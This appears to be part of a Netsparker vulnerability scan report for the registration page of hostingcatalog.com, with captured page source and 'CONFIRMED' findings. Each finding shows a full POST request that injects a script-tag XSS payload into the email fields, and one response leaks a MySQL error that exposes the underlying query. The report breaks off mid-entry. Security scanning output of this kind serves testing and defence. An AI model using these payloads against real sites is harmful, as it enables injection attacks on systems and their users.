pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='2DFD5761645828D66CC2149F0CF02ED8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='2DFD5761645828D654803A2E953D7D426F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='2DFD5761645828D6A9EEA96E2D4CBA47C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D695524A8C7823DFDFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='2DFD5761645828D6D603F7BCD37F97C06F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='2DFD5761645828D60B4386E3A07ABA6BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='2DFD5761645828D695C23AF085572141C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='2DFD5761645828D64F868D2CBB4089CB6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='2DFD5761645828D6073AD8B45F0FCC7BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='2DFD5761645828D6C3032E84B101EDDF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='2DFD5761645828D6C25A191F3A4F8FA2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='2DFD5761645828D6EC753B13BEA7C9A0C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='2DFD5761645828D67F426952FDA9010EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D68991D494C0501342C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='2DFD5761645828D6A9FEF654138E6A56C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='2DFD5761645828D61528104B1AC7C58AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='2DFD5761645828D64C87ABF1282A697D6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='2DFD5761645828D6F6E10CC7CF045F656F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='2DFD5761645828D6E7F2CBA785C4B8FD6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST '"--></style></script><script>alert(0x001E3A)</script>
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 538
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E3A)%3c%2fscript%3e&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:38:36 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 333
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x001e3a)</script>'' at line 1 in SQL SELECT account_id FROM account WHERE e_mail=''"--></style></script><script>netsparker(0x001e3a)</script>'
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST '"--></style></script><script>alert(0x001E3B)</script>
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 538
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E3B)%3c%2fscript%3e&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:38:38 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='2DFD5761645828D6DC04AB7D95B34CBCC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='2DFD5761645828D62E60C268788A4BD46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='2DFD5761645828D6E6EE8793633A64A4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D620021017C046CEAAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='2DFD5761645828D6F0907B760E14871B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='2DFD5761645828D699BE97D20CA9B24EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='2DFD5761645828D6E39ED83AD52B1EC8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='2DFD5761645828D6E86FB2A17EEFC8196F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='2DFD5761645828D69E9D0AA1B4AA8B19C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='2DFD5761645828D67320357766BBE0B16F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='2DFD5761645828D66CC2686488479178C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='2DFD5761645828D62263770F4D09DFBBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='2DFD5761645828D67A976755B236646DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D6CCA2898767598476C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='2DFD5761645828D681337D4075F568A7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='2DFD5761645828D6BE602201A6C9D3D1C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='2DFD5761645828D671452FB9405666126F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='2DFD5761645828D65B4314A7D084695E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='2DFD5761645828D6E68E7BAFE4E22A096F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
